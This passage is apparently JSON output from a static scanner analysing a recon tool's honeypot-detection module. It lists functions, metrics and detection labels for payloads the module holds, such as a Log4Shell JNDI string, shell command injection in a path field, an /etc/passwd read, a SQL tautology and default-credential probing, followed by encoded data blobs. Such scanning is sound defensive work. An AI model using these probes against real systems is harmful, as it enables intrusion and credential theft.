"", "observed_techs.append" ], [ "", "re.search" ], [ "", "observed_techs.append" ], [ "", "re.search" ], [ "", "observed_techs.append" ], [ "", "re.search" ], [ "", "observed_techs.append" ], [ "", "re.search" ], [ "", "anomalies.append" ], [ "", "anomalies.append" ], [ "", "anomalies.append" ], [ "", "re.search" ], [ "", "anomalies.append" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "min" ], [ "", "min" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_url_join" ], [ "", "_safe_probe" ], [ "", "resp.get" ], [ "", "resp.get" ], [ "", "working_paths.append" ], [ "", "_url_join" ], [ "", "_safe_probe" ], [ "", "resp.get" ], [ "", "resp.get" ], [ "", "re.search" ], [ "", "resp.get" ], [ "", "resp_headers.get" ], [ "", "re.search" ], [ "", "resp.get.get" ], [ "", "resp.get" ], [ "", "re.search" ], [ "", "accepted_creds.append" ], [ "", "urllib.parse.quote" ], [ "", "urllib.parse.quote" ], [ "", "_safe_probe" ], [ "", "resp2.get" ], [ "", "resp2.get" ], [ "", "resp2.get" ], [ "", "re.search" ], [ "", "resp_headers2.get" ], [ "", "re.search" ], [ "", "resp_headers2.get" ], [ "", "re.search" ], [ "", "any" ], [ "", "accepted_creds.append" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "min" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_safe_probe" ], [ "", "baseline_resp.get" ], [ "", "baseline_resp.get" ], [ "", "set" ], [ "", "k.lower" ], [ "", "baseline_resp.get.keys" ], [ "", "baseline_resp.get" ], [ "", "_url_join" ], [ "", "payload.get" ], [ "", "payload.get" ], [ "", "payload.get" ], [ "", "_safe_probe" ], [ "", "resp.get" ], [ "", "resp.get" ], [ "", "set" ], [ "", "k.lower" ], [ "", "resp.get.keys" ], [ "", "resp.get" ], [ "", "_body_fingerprint" ], [ "", "_body_fingerprint" ], [ "", "baseline_resp.get" ], [ "", "re.search" ], [ "", "re.search" ], [ "", "_body_fingerprint" ], [ "", "_body_fingerprint" ], [ "", "resp.get" ], [ "", "baseline_resp.get" ], [ "", "trigger_results.append" ], [ "", "_body_fingerprint" ], [ "", "honeypot_indicators.append" ], [ "", "sum" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "timing_result.get" ], [ "", "signals.append" ], [ "", "min" ], [ "", "perfection_result.get" ], [ "", "signals.append" ], [ "", "max" ], [ "", "fingerprint_result.get" ], [ "", "signals.append" ], [ "", "max" ], [ "", "consistency_result.get" ], [ "", "signals.append" ], [ "", "min" ], [ "", "tech_result.get" ], [ "", "signals.append" ], [ "", "max" ], [ "", "credential_result.get" ], [ "", "signals.append" ], [ "", "max" ], [ "", "interaction_result.get" ], [ "", "signals.append" ], [ "", "max" ], [ "", "weighted_details.append" ], [ "", "honeypot_evidence.append" ], [ "", "timing_result.get" ], [ "", "honeypot_evidence.append" ], [ "", "consistency_result.get" ], [ "", "honeypot_evidence.append" ], [ "", "honeypot_evidence.append" ], [ "", "honeypot_evidence.append" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "int" ], [ "", "findings.append" ], [ "", "Finding" ], [ "", "_analyze_response_timing" ], [ "", "all_findings.extend" ], [ "", "_check_error_perfection" ], [ "", "all_findings.extend" ], [ "", "_check_honeypot_fingerprints" ], [ "", "all_findings.extend" ], [ "", "_check_behavioral_consistency" ], [ "", "all_findings.extend" ], [ "", "_check_tech_stack_anomalies" ], [ "", "all_findings.extend" ], [ "", "_check_default_credentials" ], [ "", "all_findings.extend" ], [ "", "_analyze_interaction_patterns" ], [ "", "all_findings.extend" ], [ "", "_score_honeypot_effectiveness" ], [ "", "all_findings.extend" ], [ "", "..http_layer" ], [ "", "..http_layer.Finding" ], [ "", "..http_layer.default_limiter" ], [ "", "..http_layer.http_probe" ], [ "", "Any" ], [ "", "Dict" ], [ "", "List" ], [ "", "Optional" ], [ "", "hashlib" ], [ "", "re" ], [ "", "statistics" ], [ "", "time" ], [ "", "typing" ], [ "", "urllib.parse" ] ], "mbr": [ "PERFECT_RESPONSE_DB.error_pages", "PERFECT_RESPONSE_DB.header_perfection", "accepted_creds.append", "all_findings.extend", "anomalies.append", "base_url.rstrip", "baseline_resp.get", "baseline_resp.get.keys", "body.strip", "body.strip.encode", "body_fps.append", "c.password", "c.path", "c.reason", "c.source", "c.username", "claimed_techs.append", "consistency_result.findings", "consistency_result.get", "cred.password", "cred.source", "cred.username", "credential_result.findings", "credential_result.get", "d.name", "detected.append", "error_responses.append", "evidence_parts.append", "f.asset", "findings.append", "fingerprint_result.detected", "fingerprint_result.findings", "fingerprint_result.get", "hashlib.sha256", "hashlib.sha256.hexdigest", "header_entry.header", "header_entry.suspicious_values", "headers.get", "headers.get.lower", "headers.keys", "honeypot_evidence.append", "honeypot_indicators.append", "interaction_result.findings", "interaction_result.get", "k.lower", "keys.encode", "main_headers.get", "main_resp.get", "matched_patterns.append", "observed_techs.append", "p_resp.get", "parts.append", "path.startswith", "pattern_entry.description", "pattern_entry.name", "pattern_entry.pattern", "pattern_entry.suspicion", "payload.get", "payload.name", "payload.path", "perfection_result.findings", "perfection_result.get", "prev.body_fp", "prev.name", "prev.status", "probe_paths.extend", "r.body_fp", "r.body_len", "r.header_fp", "r.is_honeypot_like", "r.status", "re.DOTALL", "re.IGNORECASE", "re.MULTILINE", "re.escape", "re.escape.replace", "re.match", "re.search", "resp.get", "resp.get.get", "resp.get.keys", "resp2.get", "resp_headers.get", "resp_headers2.get", "response.get", "response.get.items", "result.elapsed", "results.append", "rule.claimed_tech", "rule.description", "rule.incompatible_with", "sig.description", "sig.detail", "sig.get", "sig.get.items", "sig.name", "sig.score", "sig.weight", "sig_indicators.append", "signals.append", "statistics.mean", "statistics.stdev", "statuses.append", "tech_result.findings", "tech_result.get", "time.monotonic", "timing_result.findings", "timing_result.get", "timings.append", "trigger_results.append", "urllib.parse", "urllib.parse.quote", "weighted_details.append", "working_paths.append" ], "tgt": [ "Finding", "_analyze_interaction_patterns", "_analyze_response_timing", "_body_fingerprint", "_check_behavioral_consistency", "_check_default_credentials", "_check_error_perfection", "_check_honeypot_fingerprints", "_check_tech_stack_anomalies", "_coefficient_of_variation", "_get_all_response_text", "_header_fingerprint", "_match_glob", "_safe_probe", "_score_honeypot_effectiveness", "_url_join", "abs", "accepted_creds.append", "all_findings.extend", "anomalies.append", "any", "base_url.rstrip", "baseline_resp.get", "baseline_resp.get.keys", "body.strip", "body.strip.encode", "body_fps.append", "bool", "claimed_techs.append", "consistency_result.get", "credential_result.get", "detected.append", "error_responses.append", "evidence_parts.append", "findings.append", "fingerprint_result.get", "float", "hashlib.sha256", "hashlib.sha256.hexdigest", "headers.get", "headers.get.lower", "headers.keys", "honeypot_evidence.append", "honeypot_indicators.append", "http_probe", "int", "interaction_result.get", "k.lower", "keys.encode", "len", "list", "main_headers.get", "main_resp.get", "matched_patterns.append", "max", "min", "observed_techs.append", "p_resp.get", "parts.append", "path.startswith", "payload.get", "perfection_result.get", "probe_paths.extend", "range", "re.escape", "re.escape.replace", "re.match", "re.search", "resp.get", "resp.get.get", "resp.get.keys", "resp2.get", "resp_headers.get", "resp_headers2.get", "response.get", "response.get.items", "results.append", "set", "sig.get", "sig.get.items", "sig_indicators.append", "signals.append", "sorted", "statistics.mean", "statistics.stdev", "statuses.append", "sum", "tech_result.get", "time.monotonic", "timing_result.get", "timings.append", "trigger_results.append", "urllib.parse.quote", "weighted_details.append", "working_paths.append" ], "funcs": [ [ "_body_fingerprint", 19320 ], [ "_header_fingerprint", 19523 ], [ "_match_glob", 19762 ], [ "_coefficient_of_variation", 20013 ], [ "_safe_probe", 20332 ], [ "_url_join", 20934 ], [ "_get_all_response_text", 21146 ], [ "_analyze_response_timing", 21935 ], [ "_check_error_perfection", 26114 ], [ "_check_honeypot_fingerprints", 31769 ], [ "_check_behavioral_consistency", 37647 ], [ "_check_tech_stack_anomalies", 43728 ], [ "_check_default_credentials", 50147 ], [ "_analyze_interaction_patterns", 58026 ], [ "_score_honeypot_effectiveness", 65338 ], [ "run_honeypot_dance", 73418 ] ], "metrics": { "ast": { "op.add": 21, "op.bor": 1, "op.div": 6, "op.lor": 9, "op.mul": 11, "op.sub": 7, "op.land": 20, "max_depth": 20, "call_count": 371, "node_count": 15891, "member_count": 114, "max_array_len": 17, "op_density.add": 0, "op_density.bor": 0, "op_density.div": 0, "op_density.lor": 0, "op_density.mul": 0, "op_density.sub": 0, "op_density.land": 0, "max_concat_chain": 3, "member_depth_max": 3, "max_numeric_array": 5 }, "file": { "size": 76034, "entropy": 4.75 }, "text": { "lines": 1815, "top_char": 101, "max_ws_run": 2, "digit_ratio": 0.02, "space_count": 18304, "char_entropy": 4.75, "unique_chars": 97, "top_char_null": 0, "escape_density": 0, "lines_over_200": 30, "string_density": 0.69, "top_char_ratio": 0.06, "avg_line_length": 40.89, "max_line_length": 227, "non_ascii_ratio": 0.09, "empty_line_ratio": 0.11, "hex_escape_count": 3, "last_line_length": 23, "long_token_count": 30, "whitespace_ratio": 0.26, "identifier_density": 1.08, "line_length_stddev": 36.23, "normalized_string_count": 29.25, "repeated_char_sequences": 603, "suspicious_string_ratio": 0, "suspicious_comment_ratio": 0.01, "suspicious_identifier_ratio": 0.03, "normalized_unique_identifiers": 22.63 }, "binds": { "count": 242 }, "binary": { "peak_region_bytes": 27648, "peak_region_entropy": 4.94 }, "source": { "function_count": 16 }, "imports": { "count": 14, "relative": 4, "stdlib_count": 5, "stdlib_ratio": 0.36, "relative_ratio": 0.29, "third_party_count": 9, "third_party_ratio": 0.64 }, "strings": { "sql": 3, "bytes": 25664, "count": 1246, "avg_length": 20.6, "max_length": 680, "path_count": 66, "avg_entropy": 2.96, "empty_count": 34, "domain_count": 5, "entropy_stddev": 0.91, "high_entropy_count": 1, "embedded_code_candidates": 2 }, "comments": { "chars": 9874, "count": 103, "lines": 103, "high_entropy": 1, "to_code_ratio": 0.06 }, "functions": { "count": 16, "density": 0.88, "avg_params": 2.94, "code_ratio": 0.71, "max_params": 8, "length_stddev": 70.4, "over_100_lines": 7, "avg_name_length": 21.69, "avg_length_lines": 80.81, "max_length_lines": 194, "min_length_lines": 3, "many_params_count": 1, "high_entropy_names": 9, "avg_param_name_length": 8.77 }, "identifiers": { "count": 1953, "unique": 245, "avg_length": 9.96, "max_length": 29, "min_length": 1, "avg_entropy": 2.65, "reuse_ratio": 0.13, "length_stddev": 6.03, "has_digit_ratio": 0.04, "sequential_names": 7, "single_char_count": 8, "single_char_ratio": 0.03, "high_entropy_count": 17, "high_entropy_ratio": 0.07, "all_lowercase_ratio": 0.91, "all_uppercase_ratio": 0.04, "numeric_suffix_count": 9, "underscore_prefix_count": 16 } } }, "id": 128, "mol": "O₁₀(Xe₂C₃Ca₂CoDyEr₂Eu₂La₄PrS)H₅(Cm₁₃CrDb₅F₂Os₂)Md₂(InPa)Th", "path": "reconpro-11.1.0-py3-none-any.whl!!reconpro/modules/honeypot_dance.py", "pid": 0, "risk": 175, "sha": "5a16c1f52a418b314b7dac31b64e30ead5d6dcc5375072ada4a93d804833441e", "size": 76034, "traits": [ { "id": "metadata/import/package::python-hashlib-import", "conf": 0.9, "crit": 3, "desc": "Python imports the hashlib library", "spans": [ [ 726, 7 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-1", "conf": 0.8, "crit": 1, "desc": "English function-word token \"the\"", "spans": [ [ 665, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-2", "conf": 0.8, "crit": 1, "desc": "English function-word token \"and\"", "spans": [ [ 7431, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-3", "conf": 0.8, "crit": 1, "desc": "English function-word token \"that\"", "spans": [ [ 1915, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-4", "conf": 0.8, "crit": 1, "desc": "English function-word token \"have\"", "spans": [ [ 22123, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-5", "conf": 0.8, "crit": 1, "desc": "English function-word token \"for\"", "spans": [ [ 3074, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-6", "conf": 0.8, "crit": 1, "desc": "English function-word token \"with\"", "spans": [ [ 5173, 0 ] ] }, { "id": "metadata/lang/natural::lang-english--atom-7", "conf": 0.8, "crit": 1, "desc": "English function-word token \"this\"", "spans": [ [ 14078, 0 ] ] }, { "id": "metadata/package/testing/corpus::ssrf-category-label", "conf": 0.9, "crit": 3, "desc": "SSRF attack category label", "spans": [ [ 10175, 4 ] ] }, { "id": "metadata/package/testing/corpus::xss-category-label", "conf": 0.9, "crit": 3, "desc": "XSS attack category label", "spans": [ [ 9615, 3 ] ] }, { "id": "micro-behaviors/communications/http/header/content-type::python-json-content-type", "conf": 0.94, "crit": 3, "desc": "Python JSON content type", "spans": [ [ 51687, 16 ] ] }, { "id": "micro-behaviors/communications/http/header/custom::x-forwarded-for", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "X-Forwarded-For proxy header", "spans": [ [ 11152, 15 ] ] }, { "id": "micro-behaviors/communications/http/login::http-login-password-field", "atk": "T1071.001", "conf": 0.88, "crit": 1, "desc": "HTTP login password field", "spans": [ [ 10874, 0 ] ] }, { "id": "micro-behaviors/communications/http/login::http-login-path", "atk": "T1071.001", "conf": 0.88, "crit": 3, "desc": "HTTP login path", "spans": [ [ 10770, 6 ], [ 50636, 12 ], [ 50685, 11 ], [ 50708, 15 ], [ 50754, 10 ], [ 50776, 11 ], [ 50799, 20 ] ] }, { "id": "micro-behaviors/communications/http/login::http-login-username-field", "atk": "T1071.001", "conf": 0.86, "crit": 1, "desc": "HTTP login username field", "spans": [ [ 10776, 0 ] ] }, { "id": "micro-behaviors/communications/http/post::post", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "HTTP POST method string literal", "spans": [ [ 10821, 6 ] ] }, { "id": "micro-behaviors/communications/http/proxy::browser-url-relay-target", "atk": "T1041", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Browser relay target URL parameter", "spans": [ [ 10228, 12 ] ] }, { "id": "micro-behaviors/communications/http/request/client::http-config-method", "conf": 0.3, "crit": 2, "desc": "HTTP configuration field (method)", "spans": [ [ 8846, 0 ] ] }, { "id": "micro-behaviors/communications/http/request/credentials::python-post-method-keyword", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Sets Python request method to POST", "spans": [ [ 51614, 13 ] ] }, { "id": "micro-behaviors/communications/http/url/encoded::long-base64-like-path-segment", "conf": 0.9, "crit": 3, "desc": "Path has long Base64-like segment", "spans": [ [ 26520, 35 ], [ 38419, 27 ], [ 38476, 27 ] ] }, { "id": "micro-behaviors/communications/http/url/query::ai-prompt-query-remote-url-value", "conf": 0.95, "crit": 3, "desc": "Query value contains a remote URL", "spans": [ [ 10228, 12 ], [ 10507, 13 ] ] }, { "id": "micro-behaviors/communications/http/url/query::password-query-parameter", "conf": 0.8, "crit": 3, "desc": "URL password query parameter", "spans": [ [ 10874, 10 ] ] }, { "id": "micro-behaviors/communications/modbus::keyword", "conf": 0.85, "crit": 3, "desc": "Modbus protocol keyword reference", "spans": [ [ 4979, 6 ] ] }, { "id": "micro-behaviors/communications/proxy/target::local-host-parameter", "atk": "T1090,T1572", "conf": 0.94, "crit": 3, "desc": "Host parameter selects loopback or wildcard", "spans": [ [ 9954, 15 ] ] }, { "id": "micro-behaviors/communications/ssh/connect::ssh-string", "atk": "T1021.004", "conf": 0.4, "crit": 1, "desc": "References the SSH protocol", "spans": [ [ 2401, 0 ] ] }, { "id": "micro-behaviors/crypto/hash/digest::python-sha256-operation", "mbc": "C0029", "conf": 0.88, "crit": 3, "desc": "Performs Python SHA-256 operation", "spans": [ [ 19441, 14 ] ] }, { "id": "micro-behaviors/data/control-flow/membership::not-in-membership-check", "conf": 0.3, "crit": 3, "desc": "Python not-in membership check", "spans": [ [ 46619, 32 ] ] }, { "id": "micro-behaviors/data/db/config::db-key-host", "conf": 0.85, "crit": 1, "desc": "Connection host key", "spans": [ [ 9955, 0 ] ] }, { "id": "micro-behaviors/data/db/config::db-key-password", "conf": 0.85, "crit": 1, "desc": "Connection password key", "spans": [ [ 10875, 0 ] ] }, { "id": "micro-behaviors/data/db/config::db-key-user", "conf": 0.85, "crit": 1, "desc": "Connection user key", "spans": [ [ 10777, 0 ] ] }, { "id": "micro-behaviors/data/db/schema/relational::account-handle-field", "conf": 0.8, "crit": 3, "desc": "Account handle field name", "spans": [ [ 16421, 10 ], [ 55538, 10 ] ] }, { "id": "micro-behaviors/data/format/json::json-result-field", "conf": 0.8, "crit": 3, "desc": "JSON result or response field key", "spans": [ [ 28134, 9 ] ] }, { "id": "micro-behaviors/data/serialize/envelope::result-assignment-key", "conf": 0.4, "crit": 1, "desc": "Result field or assignment key", "spans": [ [ 75526, 0 ] ] }, { "id": "micro-behaviors/data/serialize/schema-object::user-field-key", "conf": 0.9, "crit": 3, "desc": "JSON-like user identity field", "spans": [ [ 16421, 11 ] ] }, { "id": "micro-behaviors/fs/path/account-db::credential-config-path-corpus--etc", "atk": "T1552.001", "conf": 0.85, "crit": 3, "desc": "Etc account database path", "spans": [ [ 8799, 37 ], [ 9948, 38 ], [ 26565, 22 ] ] }, { "id": "micro-behaviors/fs/path/config/accounts::unix-account-database-path-reference", "conf": 0.95, "crit": 3, "desc": "Unix account database path reference", "spans": [ [ 8769, 11 ] ] }, { "id": "micro-behaviors/os/env/secret-name::python-environ-items-password-marker", "conf": 0.92, "crit": 3, "desc": "Password marker string literal", "spans": [ [ 16443, 8 ] ] }, { "id": "micro-behaviors/os/privilege/check::source-privileged-account-reference", "conf": 0.86, "crit": 3, "desc": "Source references a privileged account", "spans": [ [ 4253, 5 ], [ 14083, 13 ] ] }, { "id": "objectives/command-and-control/dropper/staged-loader::remote-module-method-field", "atk": "T1105,T1627.001", "mbc": "B0042", "conf": 0.94, "crit": 3, "desc": "Remote module method field", "spans": [ [ 8846, 11 ] ] }, { "id": "objectives/command-and-control/infrastructure/tracking::username-field", "conf": 0.7, "crit": 3, "desc": "Username tracking field", "spans": [ [ 16421, 11 ] ] }, { "id": "objectives/command-and-control/remote-command/llm/action::llm-send-action--rx-6", "conf": 0.84, "crit": 3, "desc": "\"password\" string-literal token", "spans": [ [ 17177, 21 ] ] }, { "id": "objectives/command-and-control/trigger/activation::trigger-keyword-lower-suffix", "conf": 0.3, "crit": 3, "desc": "trigger keyword (lowercase suffix)", "spans": [ [ 63213, 15 ] ] }, { "id": "objectives/command-and-control/trigger/activation::trigger-keyword-title-suffix", "conf": 0.3, "crit": 3, "desc": "Trigger keyword (titlecase suffix)", "spans": [ [ 8342, 15 ] ] }, { "id": "objectives/command-and-control/trigger/activation::trigger-keyword-upper-suffix", "conf": 0.3, "crit": 3, "desc": "TRIGGER keyword (uppercase suffix)", "spans": [ [ 8631, 15 ] ] }, { "id": "objectives/credential-access/dump/system::routeros-api-user-print", "atk": "T1003", "conf": 0.92, "crit": 3, "desc": "RouterOS API user print", "spans": [ [ 50775, 7 ] ] }, { "id": "objectives/credential-access/ssh/key::credentials-txt-file", "conf": 0.75, "crit": 3, "desc": "Plaintext credentials dump file", "spans": [ [ 26643, 15 ] ] }, { "id": "objectives/credential-access/theft/keywords::password-field-name", "conf": 0.96, "crit": 1, "desc": "Password field name in structured data", "spans": [ [ 16442, 0 ] ] }, { "id": "objectives/discovery/network/scan/ics::scada-keyword", "atk": "T1046", "conf": 0.75, "crit": 3, "desc": "SCADA system keyword reference", "spans": [ [ 4730, 5 ] ] }, { "id": "objectives/evasion/hosts-file/block-security::hosts-security-block-token", "atk": "T1565.001", "mbc": "F0004", "conf": 0.9, "crit": 3, "desc": "Hosts security block token", "spans": [ [ 1888, 7 ], [ 4398, 7 ] ] }, { "id": "objectives/evasion/indicator-removal/telemetry::canary-token-target-name", "atk": "T1562.001", "conf": 0.94, "crit": 3, "desc": "Canary-token target name", "spans": [ [ 6422, 12 ] ] }, { "id": "objectives/evasion/masquerade/extension-mismatch::quoted-interpreter-argv-head", "atk": "T1036.008", "conf": 0.9, "crit": 1, "desc": "Quoted interpreter opens an argv list", "spans": [ [ 18040, 0 ] ] }, { "id": "objectives/execution/exploit/code-validation::path-field-shell-command", "atk": "T1190,T1059", "conf": 0.99, "crit": 4, "desc": "Path field contains shell command injection", "spans": [ [ 9940, 33 ] ] }, { "id": "objectives/execution/exploit/command-injection::log4shell-jndi-lookup-payload", "atk": "T1190", "mbc": "E1190", "conf": 0.99, "crit": 4, "desc": "Log4Shell JNDI lookup payload", "spans": [ [ 11171, 14 ] ] }, { "id": "objectives/exfiltration/messaging/telegram::sensitive-document-name-targets--rx-1", "atk": "T1567", "conf": 0.92, "crit": 3, "desc": "Sensitive doc filename targets (credentials)", "spans": [ [ 26643, 15 ] ] }, { "id": "objectives/exfiltration/oob/system-profile::python-user-path-profile-fields", "atk": "T1041", "mbc": "E1041", "conf": 0.88, "crit": 3, "desc": "Python user path profile fields", "spans": [ [ 16421, 11 ] ] }, { "id": "objectives/lateral-movement/brute-force/ssh::ssh-honeypot-banner-kippo", "atk": "T1110.001,T1497.001", "mbc": "B0013", "conf": 0.92, "crit": 3, "desc": "Kippo SSH honeypot banner token", "spans": [ [ 2401, 21 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::file-inclusion-probe-payload", "atk": "T1210", "conf": 0.9, "crit": 3, "desc": "Local-file inclusion probe payload", "spans": [ [ 8769, 11 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::shell-endpoint", "atk": "T1210", "conf": 0.6, "crit": 3, "desc": "Webshell path (shell.php/jsp) in URL", "spans": [ [ 10533, 9 ] ] }, { "id": "objectives/lateral-movement/exploit/scanner::wp-admin-endpoint-url", "atk": "T1210", "conf": 0.7, "crit": 3, "desc": "WordPress admin endpoint path", "spans": [ [ 4249, 9 ], [ 26670, 23 ] ] }, { "id": "objectives/lateral-movement/smb::ntlm-relay-ldap-target", "conf": 0.97, "crit": 3, "desc": "References an LDAP endpoint", "spans": [ [ 11178, 7 ] ] }, { "id": "objectives/privilege-escalation/exploit/vulnerabilities::redsun-cloud-tag-abuse--rx-5", "conf": 0.95, "crit": 3, "desc": "Remediation term", "spans": [ [ 24349, 11 ] ] }, { "id": "objectives/supply-chain/recon-exfil/agent-skill::proxy-password-field", "atk": "T1195.002", "conf": 0.96, "crit": 3, "desc": "Password field marker for proxy use", "spans": [ [ 16442, 11 ] ] }, { "id": "micro-behaviors/communications/http/header/content-type::json-header", "conf": 0.9, "crit": 3, "desc": "References HTTP Content-Type application/json", "spans": [ [ 51671, 32 ] ] }, { "id": "micro-behaviors/communications/http/post::url-encoded-content-type", "atk": "T1071.001", "mbc": "C0002", "conf": 0.7, "crit": 3, "desc": "Uses URL-encoded HTTP form content", "spans": [ [ 53697, 33 ] ] }, { "id": "micro-behaviors/communications/http/url/path::loopback-http-url-reference", "conf": 0.9, "crit": 3, "desc": "References a loopback HTTP URL", "spans": [ [ 10233, 16 ] ] }, { "id": "micro-behaviors/communications/http/url/php-endpoint::url-php-endpoint-script", "atk": "T1071.001", "mbc": "C0002", "conf": 0.8, "crit": 3, "desc": "URL targets .php endpoint", "spans": [ [ 10513, 29 ] ] }, { "id": "micro-behaviors/communications/http/url/scheme::cleartext-http-url-code-literal", "atk": "T1071.001", "mbc": "C0002", "conf": 0.9, "crit": 3, "desc": "Code embeds cleartext HTTP URL literal", "spans": [ [ 10513, 29 ] ] }, { "id": "micro-behaviors/crypto/hash/digest::python-sha256-hexdigest", "conf": 0.9, "crit": 3, "desc": "Computes a SHA-256 hex digest in Python", "spans": [ [ 19441, 73 ], [ 19713, 40 ] ] }, { "id": "micro-behaviors/data/db/sql::sql-quoted-tautology-payload", "conf": 0.92, "crit": 3, "desc": "Quoted SQL tautology payload literal", "spans": [ [ 9403, 8 ] ] }, { "id": "micro-behaviors/data/parse/vocabulary::password-key-value-pair", "conf": 0.8, "crit": 3, "desc": "password/passwd key with inline value", "spans": [ [ 10875, 14 ] ] }, { "id": "micro-behaviors/fs/path/config/accounts::etc-passwd-cat", "atk": "T1033", "conf": 0.8, "crit": 3, "desc": "/etc/passwd read via cat command", "spans": [ [ 9969, 16 ] ] }, { "id": "objectives/collection/file-targeting/filter::credential-file-path-segment", "atk": "T1005,T1083", "conf": 0.92, "crit": 3, "desc": "Credential-like path segment", "spans": [ [ 26636, 19 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::common-account-root-password-pair", "atk": "T1110.001", "conf": 0.86, "crit": 3, "desc": "Common account paired with root password", "spans": [ [ 50388, 11 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-tomcat", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token tomcat", "spans": [ [ 45177, 6 ] ] }, { "id": "objectives/lateral-movement/brute-force/password::service-account-ubuntu", "atk": "T1110.001", "mbc": "E1110", "conf": 0.85, "crit": 3, "desc": "Service-account token ubuntu", "spans": [ [ 17099, 6 ] ] }, { "id": "objectives/supply-chain/recon-exfil/agent-skill::proxy-shadow-path", "atk": "T1195.002", "conf": 0.97, "crit": 3, "desc": "Account database path marker", "spans": [ [ 8768, 12 ] ] }, { "id": "micro-behaviors/communications/http/login::http-login-credential-form", "atk": "T1071.001", "conf": 0.88, "crit": 3, "desc": "HTTP login form carries credentials", "uses": [ 12, 13, 14 ], "spans": [ [ 10770, 6 ], [ 10776, 6 ], [ 10874, 10 ] ] }, { "id": "micro-behaviors/fs/path/secret-config::ssh-tooling-or-transcript-context", "atk": "T1552.001", "conf": 0.9, "crit": 1, "desc": "SSH tooling or documentation transcript", "uses": [ 24 ], "spans": [ [ 2401, 0 ] ] }, { "id": "micro-behaviors/communications/http/login::http-login-credential-post", "atk": "T1071.001", "conf": 0.92, "crit": 3, "desc": "HTTP login credentials submitted by POST", "uses": [ 15, 76 ], "spans": [ [ 10770, 6 ], [ 10776, 6 ], [ 10821, 6 ] ] }, { "id": "third_party/SigBase/EXPL/Log4J/CVE/2021/44228/Dec21/Soft", "conf": 0.9, "crit": 5, "desc": "Detects indicators in server logs that indicate an exploitation attempt of CVE-2021-44228", "spans": [ [ 11171, 13 ] ] } ], "type": "python" }, { "ctx": [ { "b": "a%Fj4pG7jnzeS%cy?j:GFrRfCB.\u003e\u003epy\u0026r/(y-)O6v}YN]wGV59v%8*aBA]0qB.2ide^.}:v{%m@aARpdaz+F9Bz(aKzdc{/x(mG8w]zYJ3n0w@AaJ]fAbP=sB08!Ly?W%jwO#j1xcqnbA=#ebwPFhgavZ6=wP}N0y-)!vvruTkasIwACowKYx(Ff5vR/Q%atj\u003cHx(W^evqG:\u003cdgdTHrDz.(ayO+\u0026z/]@tB08!LB9h2iwPz\u00260eG^$\u003cnfzzXzF0P}B-H]jx(v(ixKL{(wO#j1x9{jkqGV\u003c", "ln": 0, "col": 1, "line": 1 }, { "b": "Bzk]fazbt7wGU@6A=2JiB7]MgA%:GwpG5w.azULezE)Sbx(mK33n0w}wPScmA+=!izGGDgw)]gXA%:GwnP5P\u003evqG:\u003ewft@8A=#ebwPFhgavo)!wPR\u003ceBz8^zaxJnDx=}FsvruTk3n0x2q:IQqwP?=$wPFhgavgc(z.l3LvrcDjfcC7tB-7Y5ayO[]zGG}beG^$(nKLjgm[D8\u003evRGZ*A^n^oB.2id3n0x0mndAkB:bM9AbX9-zeTCqB97\u0026jB-N)wawlo^zu", "ln": 343, "col": 8, "line": 11 }, { "b": "wn=WkdgdTHltpKnz!0M]AV/ylv@DK4A^n0oa%Ev3w].*baywF/B-.+DwNw^!x(d*cA=-BjzF\u003cxmvruj4zGuc(x(d*cA=-BxA%=R#AbP=saAz32x(d*cA=-BBByxm#w].*baAg+hxL.x(azCXiz/P}xp*[DV3tar%z6i}CAa%i5azCXiz/P}xl2H%0avG{NBsXLdx(!wEawV@#x(v($y+cYdB-qed3jpx=z/3QHe[/uGA9)A\u0026D1z1sx(d*cA=-A[x(mD}zF6p", "ln": 670, "col": 18, "line": 24 }, { "b": "z/P}xA=(nbv@Dj3vqYP.3jprPw/$C]z/Z2rvqPN7diHiaaAITBiTM#LarR\u003cLb13x?B8@{Ly*?A$z/PXqxM4%lzEEx[asICLA+/.sz/cW\u003ex(n6refF!rv]32OaxJn{wn=Wkdj#!*a{]CnarU=DC@=oParR^HarR!EwPS6nzxJ\u003ese{h5uzdLaAe]CPrwO${[wEoL5arUluv}xR3avg9\u003eA+P09By^)YA=k$V3lQDlarR^HaAz4nB-Ivxz/WKxzGY-mz/dguwPPsAlR*AMrA8y+pc?Pya$K\u003cPB1R3wC4\u003e#nzz2NkBsnt7pG7j/k$%=(efDcMz!0i(xM4%la$j@F3jprPw/$D3B-5QqzdCWIB98BNaARsmwP8ZkiV@cOBrAZ?f!+40eJ$pRB-qedtwm$%efG1QA:pZkarR^Ha%FjeB-5sgay/tbzddr)axIclnkAk+ayMylxK#0@efF$ABAIRwasH/Cx()Y(z!9AgaAITnz/{dLB97@7A=JPY3jm)#arTW9wPF#mwN/T@Ab]\u003eHB75V(uT[1\u003ezddr)e](8LuT[1\u003ezddr)iV@JTwGUG3zeAZ0wft@nA+PA7azC)7arR^HBz\u003e@azFsf6wfu8gBz8!rxL.m8ayPd#az2!ev%8)8wftr4ayPdgvrc16zdNQbaz++kBupQ!xK@r9x(ESafa5*AarU61E0/sfazb4#y*{*.yALnMA+e=}A+e:5x(v(iB9RUBvr-]qB7F(8vTf8rxLzJgzeS%cy?j-6B0b4hB.\u003eGdwN(b\u003carR!vzxI=3BzbPgasIbsC4CXpvTf8qAa9%dx(mMavixS8wO=fie^-ZzarR\u003cLa{]CnarUYoBAIRwaAzQxu